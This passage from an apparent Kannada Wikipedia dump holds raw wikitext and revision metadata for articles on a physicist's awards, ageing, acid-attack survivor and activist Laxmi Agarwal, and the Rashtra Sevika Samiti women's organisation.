*ನಾರ್ವೇಜಿಯನ್ ಅಕಾಡೆಮಿ ಆಫ್ ಸೈನ್ಸ್ ಅಂಡ್ ಲೆಟರ್ಸ್‌ನ ಫೆಲೋಶಿಪ್.<ref>{{Cite web |url=http://english.dnva.no/c40134/artikkel/vis.html?tid=40149 |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2017-12-22 |archive-date=2017-12-22 |archive-url=https://web.archive.org/web/20171222162631/http://english.dnva.no/c40134/artikkel/vis.html?tid=40149 |url-status=dead }}</ref> *೨೦೧೮ ರಲ್ಲಿ ಅಮೆರಿಕನ್ ಖಗೋಳಶಾಸ್ತ್ರದ ಸೊಸೈಟಿಯ ಖಗೋಳ ಉಪಕರಣಕ್ಕಾಗಿ ಜೋಸೆಫ್ ವೆಬರ್ ಪ್ರಶಸ್ತಿಯನ್ನು "ಇಂಟರ್ಫೆರೋಮೆಟ್ರಿಕ್ ಗುರುತ್ವ-ತರಂಗ ಶೋಧಕದ ಆವಿಷ್ಕಾರಕ್ಕಾಗಿ ಇದು ದೀರ್ಘಮುನ್ಸೂಚನೆಯ ಗುರುತ್ವಾಕರ್ಷಣೆಯ ತರಂಗಗಳನ್ನು ಮೊದಲು ಪತ್ತೆಹಚ್ಚಲು ಕಾರಣವಾಯಿತು."<ref>https://aas.org/grants-and-prizes/joseph-weber-award-astronomical-instrumentation</ref> ==ಉಲ್ಲೇಖಗಳು== {{reflist}} sps1x99cj9ssciuqcu7rp15cbwfp2yg ವಯಸ್ಸಾಗುವಿಕೆ 0 120978 1116448 949216 2022-08-23T12:47:26Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki '''ವಯಸ್ಸಾಗುವಿಕೆ''' ('''ವಯೋವೃದ್ಧಿ''') ಎಂದರೆ ವಯಸ್ಸು ಹೆಚ್ಚಾಗುವ ಪ್ರಕ್ರಿಯೆ. ಈ ಪದವು ವಿಶೇಷವಾಗಿ ಮಾನವರು, ಅನೇಕ ಪ್ರಾಣಿಗಳು ಹಾಗೂ ಶಿಲೀಂಧ್ರಗಳನ್ನು ಸೂಚಿಸುತ್ತದೆ, ಆದರೆ ಬ್ಯಾಕ್ಟೀರಿಯಾ, ಬಹುವಾರ್ಷಿಕ ಸಸ್ಯಗಳು ಹಾಗೂ ಕೆಲವು ಸರಳ ಪ್ರಾಣಿಗಳು ಸಂಭಾವ್ಯವಾಗಿ ಜೈವಿಕವಾಗಿ ಅಮರ್ತ್ಯವಾಗಿವೆ. ವಿಶಾಲವಾದ ಅರ್ಥದಲ್ಲಿ, ವಯಸ್ಸಾಗುವಿಕೆಯು ವಿಭಜಿಸುವುದು ನಿಂತುಹೋಗಿರುವ ಒಂದು ಜೀವಿಯೊಳಗಿನ ಏಕ ಕೋಶಗಳನ್ನು ಸೂಚಿಸಬಹುದು. ಮಾನವರಲ್ಲಿ, ವಯಸ್ಸಾಗುವಿಕೆಯು ಕಾಲಾಂತರದಲ್ಲಿ ಮನುಷ್ಯನಲ್ಲಿ ಆದ ಬದಲಾವಣೆಗಳ ಶೇಖರಣೆಯನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ ಮತ್ತು ಶಾರೀರಿಕ, ಮಾನಸಿಕ, ಹಾಗೂ ಸಾಮಾಜಿಕ ಬದಲಾವಣೆಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ. ಉದಾಹರಣೆಗೆ ವಯಸ್ಸಾದಂತೆ ಪ್ರತಿಕ್ರಿಯಾ ಸಮಯವು ನಿಧಾನವಾಗಬಹುದು, ಆದರೆ ವಿಶ್ವದ ಘಟನೆಗಳ ಜ್ಞಾನ ಹಾಗೂ ಬುದ್ಧಿವಂತಿಕೆಯು ವಿಸ್ತರಿಸಬಹುದು. ವಯಸ್ಸಾಗುವಿಕೆಯು ಬಹುತೇಕ ಮಾನವ ರೋಗಗಳಿಗೆ ಪರಿಚಿತವಿರುವ ಅತ್ಯಂತ ದೊಡ್ಡ ಅಪಾಯದ ಅಂಶಗಳ ಪೈಕಿ ಒಂದಾಗಿದೆ: ವಿಶ್ವದಾದ್ಯಂತ ಪ್ರತಿ ದಿನ ಸಾಯುವ ಸರಿಸುಮಾರು ೧೫೦,೦೦೦ ಜನರಲ್ಲಿ, ಸುಮಾರು ಮೂರನೇ ಎರಡರಷ್ಟು ಜನ ವಯೋಸಂಬಂಧಿ ಕಾರಣಗಳಿಂದ ಸಾಯುತ್ತಾರೆ. == ಬಾಹ್ಯ ಸಂಪರ್ಕಗಳು == * [https://www.pitt.edu/~dash/aging.html Aging and Death in Folklore] * [http://www.helpage.org/global-agewatch/ Global AgeWatch] Statistics on population ageing and life expectancy * HelpAge International and UNFPA (2012). [http://www.helpage.org/resources/ageing-in-the-21st-century-a-celebration-and-a-challenge/ Ageing in the 21st Century – A Celebration and a Challenge.] {{Webarchive|url=https://web.archive.org/web/20160729205540/http://www.helpage.org/resources/ageing-in-the-21st-century-a-celebration-and-a-challenge/ |date=2016-07-29 }} [[ವರ್ಗ:ವೃದ್ಧಾಪ್ಯ]] 5s3vmfs5mzxfwrv00jixsjld0jq8e8r ಲಕ್ಷ್ಮಿ ಅಗರ್ವಾಲ್ 0 122554 1116431 1108999 2022-08-23T12:26:52Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox person | name = ಲಕ್ಷ್ಮಿ ಅಗರ್ವಾಲ್ | image = Laxmi of India (12935659283).jpg | caption = ವಾಷಿಂಗ್ಟನ್ ನಲ್ಲಿ ಪ್ರಶಸ್ತಿ ಸ್ವೀಕರಿಸುತ್ತಿರುವ ಲಕ್ಷ್ಮಿ | birth_date = ೧ ಜೂನ್ ೧೯೯೦ | birth_place = [[ನವದೆಹಲಿ]] | nationality = ಭಾರತ | citizenship = ಭಾರತ | known_for = ಸ್ಟಾಪ್ ಸೇಲ್ ಆಸಿಡ್ | spouse = ಆಲೋಕ್ ದೀಕ್ಷಿತ್ | children = ೧ (ಮಗಳು - ಪೂಜಾ) }} '''ಲಕ್ಷ್ಮಿ ಅಗರ್ವಾಲ್''' (ಜನನ :೧ ಜೂನ್ ೧೯೯೦)<ref>{{cite web |title=Laxmi Agarwal Wiki, Age, Boyfriend, Children, Family, Biography & More – WikiBio |url=https://wikibio.in/laxmi-agarwal/ |accessdate=14 March 2020}}</ref> ಭಾರತೀಯ ಆಸಿಡ್ ದಾಳಿಯಿಂದ ಬದುಕುಳಿದವರು. ಆಸಿಡ್ ದಾಳಿಯ ಸಂತ್ರಸ್ತರ ಹಕ್ಕುಗಳ ಪ್ರಚಾರಕ್ಕೆ ನಿಂತವರು ಮತ್ತು ನಿರೂಪಕಿ. ಅಗರ್ವಾಲ್ ಮೇಲೆ ೨೦೦೫ ರಲ್ಲಿ ೧೫ ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ೩೨ ವರ್ಷದ ನಯೀಮ್ ಖಾನ್ ಎಂಬಾತ ಆಸಿಡ್ ಎರೆದನು. ಅವರ ಪ್ರಣಯ ಪ್ರಗತಿಯನ್ನು ಇವರು ನಿರಾಕರಿಸಿದರು . ಆಕೆಯ ಕಥೆಯನ್ನು ಹಿಂದೂಸ್ಥಾನ್ ಟೈಮ್ಸ್ ಆಸಿಡ್ ದಾಳಿಯ ಸಂತ್ರಸ್ತರ ಕುರಿತು ಸರಣಿಯಲ್ಲಿ ಹೇಳಲಾಗಿದೆ. ಆಸಿಡ್ ದಾಳಿಯ ಉಲ್ಬಣವನ್ನು ನಿಭಾಯಿಸಲು ಇವರು ತಳಮಟ್ಟದ ಅಭಿಯಾನಗಳನ್ನು ಸ್ಥಾಪಿಸಿದರು ; ಆಸಿಡ್ ದಾಳಿ ದುಷ್ಕರ್ಮಿಗಳ ಮೇಲೆ ಸುಲಭವಾಗಿ ಕಾನೂನು ಕ್ರಮ ಜರುಗಿಸಲು ಆಸಿಡ್ ಮತ್ತು ಸಂಸತ್ತಿನ ಮಾರಾಟವನ್ನು ನಿಯಂತ್ರಿಸಲು ಕೇಂದ್ರ ಮತ್ತು ರಾಜ್ಯ ಸರ್ಕಾರಗಳಿಗೆ ಆದೇಶ ನೀಡುವಂತೆ ಸುಪ್ರೀಂ ಕೋರ್ಟ್‌ಗೆ ಅವರ ಒಂದು ಅರ್ಜಿಯು ಕಾರಣವಾಗಿದೆ. ಅವರು [[ಭಾರತ]]ದಲ್ಲಿ ಆಸಿಡ್ ದಾಳಿಯಿಂದ ಬದುಕುಳಿದವರಿಗೆ ಸಹಾಯ ಮಾಡಲು ಮೀಸಲಾಗಿರುವ ಎನ್ಜಿಒ ಚನ್ವ್ ಫೌಂಡೇಶನ್‌ನ ಮಾಜಿ [[ನಿರ್ದೇಶಕ]]ರಾಗಿದ್ದರು .ಚಾಪಾಕ್ ಚಲನಚಿತ್ರವು ಅವರ ಜೀವನವನ್ನು ಆಧರಿಸಿದೆ ಮತ್ತು ದೀಪಿಕಾ ಪಡುಕೋಣೆ ಅವರ ಪಾತ್ರದಲ್ಲಿ ನಟಿಸಿದ್ದಾರೆ ==ಆರಂಭಿಕ ಜೀವನ ಮತ್ತು ಆಸಿಡ್ ದಾಳಿ== ಲಕ್ಷ್ಮಿ [[ನವದೆಹಲಿ]]ಯಲ್ಲಿ ಬಡ ಕುಟುಂಬದಲ್ಲಿ ಜನಿಸಿದರು. ಇವರ ಕುಟುಂಬದ ಪರಿಚಯಸ್ಥರಾದ ಮೂವತ್ತರ ಹರೆಯ ನಯೀಮ್ ಖಾನ್ ರವರ ಪ್ರಣಯ ಪ್ರಗತಿಗೆ ಇವರು ಸ್ಪಂದಿಸಲಿಲ್ಲ. ಇದು ಇವರ ಮೇಲೆ ಆಸಿಡ್ ದಾಳಿಗೆ ಕಾರಣವಾಯಿತು.<ref>{{cite news |title=Fact check: Did Chhapaak change attacker’s religion, name him Rajesh? |url=https://www.hindustantimes.com/bollywood/fact-check-did-chhapaak-change-attacker-s-religion-name-him-rajesh/story-BgPW9MPBmX5xPpkYeSW6hL.html |accessdate=10 March 2020 |work=Hindustan Times |date=8 January 2020 |language=en}}</ref> ==ಸುಪ್ರೀಂ ಕೋರ್ಟ್‌ನಲ್ಲಿ ಸಾರ್ವಜನಿಕ ಹಿತಾಸಕ್ತಿ ದಾವೆ (ಪಿಐಎಲ್)== ಆಸಿಡ್ ದಾಳಿಯಲ್ಲಿ ಮುಖ ಮತ್ತು ದೇಹದ ಇತರ ಭಾಗಗಳನ್ನು ವಿರೂಪಗೊಳಿಸಿದ ಲಕ್ಷ್ಮಿ 2006 ರಲ್ಲಿ ಪಿಐಎಲ್ ಹೊಂದಿದ್ದರು. ಆಗ ಅಪ್ರಾಪ್ತ ವಯಸ್ಸಿನವರಾಗಿದ್ದ ಲಕ್ಷ್ಮಿ ನದೀಮ್ ಖಾನ್ ಅವರನ್ನು ಮದುವೆಯಾಗಲು ನಿರಾಕರಿಸಿದ್ದರಿಂದ ನವದೆಹಲಿಯ ತುಘಲಕ್ ರಸ್ತೆ ಬಳಿ ಮೂವರು ಆಸಿಡ್ ನಿಂದ ಹಲ್ಲೆ ನಡೆಸಿದ್ದರು. ಅವಳ ಪಿಐಎಲ್ ಹೊಸ ಕಾನೂನನ್ನು ರೂಪಿಸಲು ಅಥವಾ ಅಪರಾಧವನ್ನು ನಿಭಾಯಿಸಲು ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಅಪರಾಧ ಕಾನೂನುಗಳಾದ ಐಪಿಸಿ, ಇಂಡಿಯನ್ ಎವಿಡೆನ್ಸ್ ಆಕ್ಟ್ ಮತ್ತು ಸಿಆರ್ಪಿಸಿಗೆ ತಿದ್ದುಪಡಿ ಮಾಡಲು ಪ್ರಯತ್ನಿಸಿತು. ದೇಶಾದ್ಯಂತ ಮಹಿಳೆಯರ ಮೇಲೆ ಇಂತಹ ದಾಳಿಗಳು ಹೆಚ್ಚಾಗುತ್ತಿರುವುದನ್ನು ಉಲ್ಲೇಖಿಸಿ ಆಸಿಡ್ ಮಾರಾಟವನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ನಿಷೇಧಿಸಬೇಕೆಂದು ಅವರು ಮನವಿ ಮಾಡಿದ್ದರು. ಏಪ್ರಿಲ್ ನಲ್ಲಿ ನಡೆದ ವಿಚಾರಣೆಯ ಸಂದರ್ಭದಲ್ಲಿ, ಜುಲೈ ೯ ರಂದು ಮುಂದಿನ ವಿಚಾರಣೆಯ ಮೊದಲು ಯೋಜನೆಯನ್ನು ರೂಪಿಸಲು ರಾಜ್ಯ ಸರ್ಕಾರಗಳೊಂದಿಗೆ ಕೆಲಸ ಮಾಡುವುದಾಗಿ ಕೇಂದ್ರವು ಭಾರತದ ಸರ್ವೋಚ್ಚ ನ್ಯಾಯಾಲಯಕ್ಕೆ ಭರವಸೆ ನೀಡಿತ್ತು. ಆದರೆ, ಅದನ್ನು ಮಾಡಲು ವಿಫಲವಾಗಿದೆ . ಆದಾಗ್ಯೂ, ಕೇಂದ್ರವು ಯೋಜನೆಯನ್ನು ತಯಾರಿಸಲು ವಿಫಲವಾದಾಗ, ರಾಸಾಯನಿಕ ದಾಳಿಯನ್ನು ತಡೆಗಟ್ಟುವ ಸಲುವಾಗಿ ಆಮ್ಲ ಮಾರಾಟವನ್ನು ತಡೆಯುವ ನೀತಿಯನ್ನು ರೂಪಿಸುವಲ್ಲಿ ಸರ್ಕಾರ ವಿಫಲವಾದರೆ ಮಧ್ಯಪ್ರವೇಶಿಸಿ ಆದೇಶಗಳನ್ನು ರವಾನಿಸುವುದಾಗಿ ಸುಪ್ರೀಂ ಕೋರ್ಟ್ ಎಚ್ಚರಿಸಿದೆ. ಏತನ್ಮಧ್ಯೆ , ೨೦೧೩ ರಲ್ಲಿ, ಸುಪ್ರೀಂ ಕೋರ್ಟ್ ಲಕ್ಷ್ಮಿ ಮತ್ತು ರೂಪಾ ಅವರ ಮನವಿಯ ಪರವಾಗಿ ತೀರ್ಪು ನೀಡಿತು, ಇದರಿಂದಾಗಿ ಆಸಿಡ್ ಮಾರಾಟಕ್ಕೆ ಹೊಸ ನಿರ್ಬಂಧಗಳನ್ನು ಸೃಷ್ಟಿಸಲಾಯಿತು. ಹೊಸ ನಿಯಮಗಳ ಪ್ರಕಾರ, ೧೮ ವರ್ಷಕ್ಕಿಂತ ಕಡಿಮೆ ವಯಸ್ಸಿನ ಯಾವುದೇ ವ್ಯಕ್ತಿಗೆ ಆಮ್ಲವನ್ನು ಮಾರಾಟ ಮಾಡಲು ಸಾಧ್ಯವಿಲ್ಲ. ಆಸಿಡ್ ಖರೀದಿಸುವ ಮೊದಲು ಫೋಟೋ ಗುರುತಿನ ಚೀಟಿ ನೀಡಲು ಒಬ್ಬರು ಅಗತ್ಯವಿದೆ. ಎಲ್ಲಾ ನಿಯಮಗಳ ಹೊರತಾಗಿಯೂ ಯಾವುದೇ ಬದಲಾವಣೆಯಾಗಿಲ್ಲ ಎಂದು ಲಕ್ಷ್ಮಿ ಹೇಳಿಕೊಂಡಿದ್ದಾರೆ. ==ಚಿತ್ರೀಕರಣ== ಲಕ್ಷ್ಮಿ ಅಗರ್ವಾಲ್ ಇವರ ಜೀವನದ ಕುರಿತು ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಚಾಪಕ್ ಎಂಬ ಸಿನಿಮಾವನ್ನು ಚಿತ್ರೀಕರಿಸಿದ್ದಾರೆ.<ref>{{cite news |title=‘Chhapaak’ storm: Laxmi Agarwal’s lawyer plans to sue makers of Deepika Padukone film |url=https://www.thehindu.com/entertainment/movies/chhapaak-storm-laxmi-agarwals-lawyer-plans-to-sue-makers-of-deepika-padukone-film/article30521018.ece |accessdate=14 March 2020 |work=The Hindu |date=9 January 2020 |language=en-IN}}</ref> ==ಪ್ರಶಸ್ತಿಗಳು== ಸ್ಟಾಪ್ ಸೇಲ್ ಆಸಿಡ್ ಅಭಿಯಾನಕ್ಕಾಗಿ ೨೦೧೯ ರಲ್ಲಿ ಮಹಿಳಾ ಮತ್ತು ಮಕ್ಕಳ ಅಭಿವೃದ್ಧಿ ಸಚಿವಾಲಯ, ಕುಡಿಯುವ ನೀರು ಮತ್ತು ನೈರ್ಮಲ್ಯ ಸಚಿವಾಲಯ ಮತ್ತು ಯುನಿಸೆಫ್‌ನಿಂದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಹಿಳಾ ಸಬಲೀಕರಣ ಪ್ರಶಸ್ತಿಯನ್ನು ಅವರಿಗೆ ನೀಡಲಾಯಿತು. ೨೦೧೪ ರಲ್ಲಿ, ಇವರಿಗೆ ಇಂಟರ್ನ್ಯಾಷನಲ್ ವಿಮೆನ್ ಆಫ್ ಕರೇಜ್ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು.<ref>{{cite web |title=2014 International Women of Courage Award Winners |url=http://www.state.gov/s/gwi/programs/iwoc/2014/bio/index.htm |website=web.archive.org |accessdate=10 March 2020 |date=7 March 2014 |archive-date=8 ಜನವರಿ 2017 |archive-url=https://web.archive.org/web/20170108195502/https://www.state.gov/s/gwi/programs/iwoc/2014/bio/index.htm |url-status=bot: unknown }}</ref> ==ಉಲ್ಲೇಖಗಳು== [[ವರ್ಗ:ಪತ್ರಕರ್ತರು]] [[ವರ್ಗ:ವಿಕಿ ಲವ್ಸ್ ವಿಮೆನ್ ದಕ್ಷಿಣ ಏಷ್ಯಿಯಾ ಸ್ಪರ್ಧೆಗೆ ಬರೆದ ಲೇಖನ]] qsl1644yljcyhrsw2ryeklk12r78ql1 ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿ 0 127420 1116409 1008076 2022-08-23T12:05:39Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox organization | name = ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿ | logo = Bharat-mata-logo-8.png | caption = ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿಯ ಲಾಂಛನ | abbreviation = | formation = ೧೯೩೬ ವಿಜಯದಶಮಿ | type = ರಾಷ್ಟ್ರೀಯತೆ | status = ಸಕ್ರಿಯ | purpose = | headquarters = ನಾಗಪುರ | language = [[ಸಂಸ್ಕೃತ]], [[ಹಿಂದಿ]] | leader_title = ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾ | leader_name = ವಿ.ಶಾಂತಕ್ಕ | main_organ = | affiliations = [[:en:Sangh Parivar|ಸಂಘ ಪರಿವಾರ]] | volunteers = | bodystyle = MNRR | slogan = | founder = [[ಲಕ್ಷ್ಮಿಬಾಯಿ ಕೇಳಕರ]] | coordinates = | origins = | area_served = ಭಾರತ | method = ನಿತ್ಶ ಶಾಖಾ | membership = ಸ್ವಯಂಪ್ರೇರಿತ | homepage = {{URL|sevikasamiti.org/}} }} '''ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿಯು''' ರಾಷ್ಟ್ರೀಯ ದೃಷ್ಟಿಕೋನವುಳ್ಳ, ಸಾಮಾಜಿಕ ಕಾರ್ಯಗಳಲ್ಲಿ ತೊಡಗುವ, ಮಹಿಳಾ ಸದಸ್ಯರಿಗಾಗಿ ಸೀಮಿತವಾದ, ಮಹಿಳೆಯರನ್ನು ರಾಷ್ಟ್ರೀಯ ನಿರ್ಮಾಣದಲ್ಲಿ ತೊಡಗಿಸುವ ಸ್ವಯಂಸೇವಿ ಸಂಸ್ಥೆ<ref name="ಜೀವನಿ_ಲಕ್ಷ್ಮೀಬಾಯಿ_ಕೇಳ್ಕರ್">{{cite web |title=ಲಕ್ಷ್ಮೀಬಾಯಿ ಕೇಳ್ಕರ್ ಜೀವನ ಚರಿತ್ರೆ - लक्ष्मीबाई केलकर जीवनी |url=https://jivani.org/Biography/635/%E0%A4%B2%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A5%8D%E0%A4%AE%E0%A5%80%E0%A4%AC%E0%A4%BE%E0%A4%88-%E0%A4%95%E0%A5%87%E0%A4%B2%E0%A4%95%E0%A4%B0-%E0%A4%9C%E0%A5%80%E0%A4%B5%E0%A4%A8%E0%A5%80-%E2%80%93-biography-laxmibai-kelkar-in-hindi-jivani |website=jivani.org |accessdate=22 May 2020 |archiveurl=https://web.archive.org/web/20200522170925/https://jivani.org/Biography/635/%E0%A4%B2%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A5%8D%E0%A4%AE%E0%A5%80%E0%A4%AC%E0%A4%BE%E0%A4%88-%E0%A4%95%E0%A5%87%E0%A4%B2%E0%A4%95%E0%A4%B0-%E0%A4%9C%E0%A5%80%E0%A4%B5%E0%A4%A8%E0%A5%80-%E2%80%93-biography-laxmibai-kelkar-in-hindi-jivani |archivedate=22 May 2020 |language=Hindi}}</ref>. ವಿಶ್ಲೇಷಕರ ಪ್ರಕಾರ ಇದು [[ರಾಷ್ಟ್ರೀಯ ಸ್ವಯಂಸೇವಕ ಸಂಘ|ರಾಷ್ಟ್ರೀಯ ಸ್ವಯಂಸೇವಕ ಸಂಘದ]] ಮಹಿಳಾ ವಿಭಾಗ. ಆದರೆ ಸೇವಿಕಾ ಸಂಸ್ಥೆಯ ಪ್ರಕಾರ ಅವರ ಸಂಸ್ಥೆ ಸಮಾನ ಧ್ಯೇಯೋದ್ದೇಶಗಳನ್ನು ಹೊಂದಿದ ಒಂದು ಸ್ವತಂತ್ರ, ಸಮಾನಾಂತರ ಸಂಸ್ಥೆ, ಹೀಗೆಯೇ ಇರಬೇಕೆಂದು ರಾಷ್ಟ್ರೀಯ ಸ್ವಯಂಸೇವಕ ಸಂಘದ ಸಂಸ್ಥಾಪಕರಾದ [[ಕೆ. ಬಿ. ಹೆಡ್ಗೆವಾರ್| ಕೇಶವ ಬಲಿರಾಮ್ ಹೆಡಗೇವಾರ್]] ಕೂಡ ಆಶಿಸಿದ್ದರು<ref name="samvada-moushiji">{{cite web |title=೧೧೦ನೇ ಜನ್ಮದಿನದ ಪ್ರಯುಕ್ತ ಮೌಶೀಜಿಯವರ ಸಂಸ್ಮರಣೆ-Remembering Moushiji Kelkar, founder Pramukh Sanchalika of Rashtra Sevika Samiti on her 110th Birth Anniversary |url=https://samvada.org/2015/news/remembering-moushiji/ |website=samvada.org |publisher=ವಿ.ಎಸ್.ಕೆ |accessdate=22 May 2020 |archiveurl=https://web.archive.org/web/20190217030249/https://samvada.org/2015/news/remembering-moushiji/ |archivedate=17 Feb 2019 |language=English |date=6 Jul 2015}}</ref>. ೨೦೧೯ರಲ್ಲಿ ಭಾರತ ದೇಶದಲ್ಲಿ ೫,೨೧೫ ಶಾಖೆಗಳು ನಡೆಯುತ್ತಿದೆ ಮತ್ತು ೧೦ ಲಕ್ಷ ಸಮಿತಿಯ ಸದಸ್ಯರಿರಬಹುದು ಎಂದು ಒಂದು ಅಂದಾಜು<ref name="ಜೀ_ರಾಕೇಶತನೇಜಾ">{{cite news |last1=ತನೇಜಾ |first1=ರಾಕೇಶ |title=RSS यानी राष्ट्रीय स्वयंसेवक संघ को जानते हैं तो फिर राष्ट्र सेविका समिति को भी जानिए.. |url=https://zeenews.india.com/hindi/india/rss-vijaydashmi-and-rashtra-sevika-samiti/582501 |accessdate=21 May 2020 |publisher=Zee news |date=8 Oct 2019 |archiveurl=https://web.archive.org/web/20191208174908/https://zeenews.india.com/hindi/india/rss-vijaydashmi-and-rashtra-sevika-samiti/582501 |archivedate=8 ಡಿಸೆಂಬರ್ 2019 |language=Hindi |url-status=bot: unknown }}</ref>. ==ಇತಿಹಾಸ== [[ಚಿತ್ರ:Laxmibai Kelkar.jpg|200px|thumb|right|ವ ಲಕ್ಷ್ಮೀಬಾಯಿ ಕೇಳ್ಕರ್ (ಮೌಶೀಜಿ ಕೇಳ್ಕರ್)]] {{Quote box |quote = '''ಮಹಿಳೆಯು ಮನೆ ಮತ್ತು ಸಮಾಜದ ಪ್ರೇರಕ ಶಕ್ತಿ.<br> ಆ ಶಕ್ತಿಯ ಜಾಗೃತಿಯಾಗದೆ, ಸಮಾಜವು ಬೆಳೆಯಲಾಗದು''' |source = ವ. ಲಕ್ಷ್ಮೀಬಾಯಿ ಕೇಳ್ಕರ್, ಆದ್ಯ ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾ, ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿ.<ref name="orgpreetigandhi">{{cite web |last1=ಗಾಂಧಿ |first1=ಪ್ರೀತಿ |title=ಮಾತೃಶಕ್ತಿ ಮತ್ತು ಆರ್.ಎಸ್.ಎಸ್ - ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿಯ ಸ್ಪೂರ್ತಿದಾಯಕ ಕತೆ - ''Matrushakti and RSS: The Inspiring Saga of Rashtra Sevika Samiti '' |url=https://www.organiser.org/Encyc/2018/10/26/Matrushakti-and-RSS-The-Inspiring-Saga-of-Rashtra-Sevika-Samiti.html |website=organiser.org |publisher=ಭಾರತ ಪ್ರಕಾಶನ, ನವದೆಹಲಿ |accessdate=21 May 2020 |archiveurl=https://web.archive.org/web/20200319140945/https://www.organiser.org/Encyc/2018/10/26/Matrushakti-and-RSS-The-Inspiring-Saga-of-Rashtra-Sevika-Samiti.html |archivedate=19 Mar 2020}}</ref> |quoted = 1}} ೧೯೨೫ರಲ್ಲಿ [[ರಾಷ್ಟ್ರೀಯ ಸ್ವಯಂಸೇವಕ ಸಂಘ]] ಪ್ರಾರಂಭವಾಯಿತು. ಇದು ಕೇವಲ ಪುರುಷರಿಗೆ ಸೀಮಿತವಾದ ಸಂಘಟನೆ. ಆ ಸಮಯದಲ್ಲಿ ಹಲವು ಸಮಾಜಮುಖೀ ಮಹಿಳೆಯರು, ಮಹಿಳೆಯರಿಗಾಗಿಯೇ, ಮಹಿಳೆಯರ ನಡುವೆ ಕಾರ್ಯನಿರ್ವಹಿಸಲು, ರಾಷ್ಟ್ರೀಯ ದೃಷ್ಠಿಕೋನದ ಒಂದು ಸಂಘಟನೆಯ ಅವಶ್ಯಕತೆಯಿದೆ ಎಂದು ಮನಗಂಡರು. ೧೯೩೬ರಲ್ಲಿ [[ಲಕ್ಷ್ಮಿಬಾಯಿ ಕೇಳಕರ]] ರವರು ವರ್ಧಾದಲ್ಲಿ ವಿಜಯದಶಮಿಯ ದಿನ ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿಯನ್ನು ಪ್ರಾರಂಭಿಸಿದವರು<ref name="ಸಂವಾದ_ಸಮಿತಿ">{{cite web |title=ರಾಷ್ಟ್ರಸೇವಿಕಾ ಸಮಿತಿ |url=https://samvada.org/2010/organisation-profiles/rashtra-sevika-samiti-kannada/ |website=samvada.org |publisher=ಸಂವಾದ |accessdate=21 May 2020 |archiveurl=https://web.archive.org/web/20170912154336/https://samvada.org/2010/organisation-profiles/rashtra-sevika-samiti-kannada/ |archivedate=12 Sep 2017}}</ref>. ಇನ್ನೊಂದು ಮೂಲದ ಪ್ರಕಾರ ವರ್ಧಾದಲ್ಲಿ ವಿಜಯದಶಮಿಯ ದಿನ ೧೯೩೫-೩೬ ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಿದ್ದ ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿ ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಸ್ವಯಂಸೇವಿಕಾ ಸಂಘ, ಇವುಗಳ ಸಮಾಗಮದಿಂದ ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿ ಹುಟ್ಟಿತು. ಈ ಸಂಘಟನೆಯ ಹುಟ್ಟಿಗೆ [[ಕೆ. ಬಿ. ಹೆಡ್ಗೆವಾರ್| ಕೇಶವ ಬಲಿರಾಮ್ ಹೆಡಗೇವಾರ್]] ರವರ ಮಾರ್ಗದರ್ಶನವೂ ಕಾರಣ<ref>{{cite book |last1=ಸಿನ್ಹಾ |first1=ರಾಕೇಶ್ |title=ಆಧುನಿಕ ಭಾರತದ ನಿರ್ಮಾತೃಗಳು ಡಾ ಕೇಶವ ಬಲಿರಾಮ್ ಹೆಡಗೆವಾರ್ |publisher=ಸಾಮಾಜಿಕ ಮತ್ತು ಪ್ರಸಾರ ಸಚಿವಾಲಯ, ಭಾರತ ಸರ್ಕಾರ |location=ಸಾಮಾಜಿಕ ದರ್ಶನ |isbn=9788123028149 |page=೨೧೯ |edition=ಮೊದಲ}}</ref>. ಈ ಸಂಸ್ಥೆಯ ಮುಖ್ಯಸ್ಥರನ್ನು (ಅಥವಾ ಅಧ್ಯಕ್ಷರನ್ನು) '''ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾ''' ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಮೊದಲ ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾರಾಗಿ ಲಕ್ಷ್ಮೀಬಾಯಿ ಕೇಳ್ಕರ್ ಜವಾಬ್ದಾರಿ ನಿರ್ವಹಿಸಿದರು. ೧೯೭೬ರವರೆಗೂ ಲಕ್ಷ್ಮೀಬಾಯಿ ಕೇಳ್ಕರ್ ರವರೇ ಈ ಜವಾಬ್ದಾರಿ ನಿರ್ವಹಿಸಿದರು<ref name="ಜೀ_ರಾಕೇಶತನೇಜಾ"/>. ಅವರು ಸುಶ್ರಾವ್ಯವಾಗಿ ಹಾಡುತ್ತಿದ್ದರು, ಶ್ರೀರಾಮ ಚರಿತ್ರೆಯನ್ನು ಹೇಳುತ್ತಿದ್ದರು. ಅಲ್ಲಿ ಅವನು ಮನುಷ್ಯ ಪ್ರಯತ್ನದ 